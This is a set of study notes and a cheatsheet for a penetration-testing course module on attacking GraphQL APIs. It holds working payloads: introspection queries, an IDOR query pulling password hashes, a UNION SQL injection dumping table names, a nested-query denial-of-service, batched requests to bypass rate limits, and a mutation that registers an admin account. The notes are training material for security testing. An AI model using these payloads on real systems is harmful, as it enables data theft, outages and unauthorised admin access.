Attacking GraphQL — Introspection, IDOR, SQLi, DoS/Batching and Malicious Mutations (HTB CWES)
Built from the Attacking GraphQL module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every query, payload and tool kept, condensed. Labs and lessons are on HTB Academy.
GraphQL is a query language for web APIs — an alternative to REST where the client picks exactly which fields it wants, all through a single endpoint (usually /graphql, /api/graphql). A query selects fields of typed objects, supports arguments to filter, and supports sub-querying linked objects. That flexibility is the attack surface: introspection hands you the entire schema, and from there every classic web flaw (IDOR, SQLi, privilege escalation) reappears — plus GraphQL-specific DoS and batching abuse.
A query reads fields; the response mirrors its shape:
{ users(username: "admin") { id username password } }
1. Information disclosure — fingerprint & introspection
Find and fingerprint the endpoint with graphw00f (detect -d + fingerprint -f):
python3 main.py -d -f -t http://TARGET
# [!] Found GraphQL at http://TARGET/graphql
# [*] Discovered GraphQL Engine: (Graphene) → Python; see graphql-threat-matrix
Hitting /graphql in a browser often loads GraphiQL — an interactive console where you can fire queries without fighting JSON escaping.
Introspection is the master key: query __schema/__type to recover every type, field, query and mutation.
{ __schema { types { name } } } # all type names (incl. custom UserObject)
{ __type(name: "UserObject") { fields { name type { name kind } } } } # fields → reveals password
{ __schema { queryType { fields { name description } } } } # all supported queries
Run the full IntrospectionQuery (the big FullType/TypeRef fragment query), then paste the result into GraphQL Voyager (Change schema → Introspection) to visualize queries, types, fields and their relationships. Host Voyager yourself in a real engagement so nothing leaks.
2. IDOR — broken authorization on queries
If a query takes a username/id argument but doesn't check ownership, swap it. The app auto-queries your profile; supply someone else's and see if it returns (escape quotes inside the JSON body):
{ user(username: "test") { id username msg role } } # returns another user's data → IDOR confirmed
Then widen the field selection using what introspection revealed — e.g. add password:
{ user(username: "test") { username password } } # exfiltrates the victim's password hash
3. Injection attacks in arguments
GraphQL arguments feed backend queries, so arguments are injection points. First find which queries require an argument by sending them bare — the error names the argument (postByAuthor needs author).
UNION SQL injection. Probe each argument: admin --, then a single quote '. Here user(username:) leaks a SQL error on ' → injectable, and the error shows the query. The UserObject has 6 fields, so the UNION needs 6 columns; the field you select maps to its column position. Use GROUP_CONCAT to pull many rows at once:
{ user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") { username } }
# → "username": "user,secret,post" (the secret table isn't exposed through GraphQL at all)
The database can hold data the GraphQL schema never exposes — enumerate columns and exfiltrate as with any SQLi (see SQL Injection Fundamentals).
XSS surfaces when a response or an error message reflects unsanitized input — e.g. passing a string to post(id:) (expects Int) reflects the payload in the error, though whether it actually triggers depends on how the client renders it.
4. Denial-of-Service & batching
Nested-loop DoS. Voyager shows a loop: UserObject.posts → PostObject.author → posts → … Query it recursively and the response grows exponentially. Note posts is a connection, so descend through edges { node { ... } }:
{ posts { author { posts { edges { node { author { username } } } } } } }
Repeat the nesting enough times and you crash the backend / GraphiQL — an availability attack.
Batching sends multiple queries in one HTTP request (a JSON array). It's a feature, not a bug — but it defeats rate limits: pack 1000 login queries into one request and a "5 req/s" limit becomes 5000 password guesses/s.
POST /graphql HTTP/1.1
Content-Type: application/json
[ {"query":"{user(username: \"admin\") {uuid}}"}, {"query":"{post(id: 1) {title}}"} ]
5. Mutations — writing data & privilege escalation
Mutations modify server data (create/update/delete). Enumerate them via introspection on mutationType, then introspect the input object's fields:
{ __type(name: "RegisterUserInput") { inputFields { name description defaultValue } } }
# → username, password, role, msg ← role is client-controllable
The win: registerUser accepts a role field. Hash the password as required (MD5 here) and register yourself as admin:
echo -n 'password' | md5sum # 5f4dcc3b5aa765d61d8327deb882cf99
mutation { registerUser(input: {username: "vautiaAdmin", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) { user { username role } } }
The response reflects role: "admin" → log in and reach /admin. Privilege escalation via an unguarded mutation input.
6. Tools of the trade
- graphw00f — find + fingerprint the engine (maps to graphql-threat-matrix).
- GraphQL Voyager — visualize the introspected schema (spot loops for DoS, find hidden queries/types).
- GraphQL-Cop
-t http://TARGET/graphql— quick audit: flags introspection enabled, batching/alias overloading (DoS), field suggestions, GET-method queries (CSRF). A baseline for manual testing. - InQL — Burp extension; adds GraphQL tabs (edit queries without JSON pain), generates queries from introspection, batch attacks.
7. What to carry into the CWES exam
- Introspection is the whole game —
__schema/__typeto recover types, fields, queries and mutations; visualize with Voyager. If introspection is off, fall back to field-suggestion error messages. - Hunt the
passwordfield on user objects, then IDOR any query that takes ausername/idand doesn't check ownership. - Every argument is an injection point — bare-query to learn required args, probe
', build a UNION with the right column count (introspected field count),GROUP_CONCATto dump — and remember the DB may hold tables the schema hides. - GraphQL-specific DoS: the
author↔postsnested loop; batching turns one request into thousands of guesses → rate-limit bypass. - Mutations escalate: introspect
registerUser/input objects for a client-settablerole. - Run graphw00f → GraphQL-Cop → InQL first; they shortcut the enumeration.
Cheatsheet — Attacking GraphQL
Enumeration
python3 graphw00f/main.py -d -f -t http://TARGET # find + fingerprint engine
python3 graphql-cop/graphql-cop.py -t http://TARGET/graphql # quick security audit
# browse http://TARGET/graphql → GraphiQL console ; InQL (Burp) for query editing
Introspection
{ __schema { types { name } } }
{ __type(name: "UserObject") { fields { name type { name kind } } } }
{ __schema { queryType { fields { name description } } } }
{ __schema { mutationType { fields { name args { name } } } } }
# full IntrospectionQuery → paste into GraphQL Voyager
IDOR / SQLi
{ user(username: "test") { username password } }
{ user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") { username } }
DoS / batching
{ posts { author { posts { edges { node { author { username } } } } } } } # nest deeper to crash
[ {"query":"{user(username:\"a\"){uuid}}"}, {"query":"{user(username:\"b\"){uuid}}"} ] # batch → rate-limit bypass
Privilege-escalating mutation
echo -n 'password' | md5sum
mutation { registerUser(input: {username:"x", password:"<md5>", role:"admin", msg:"x"}) { user { username role } } }
Built from HTB Academy's Attacking GraphQL module — labs, lessons and the CWES exam are on HTB Academy.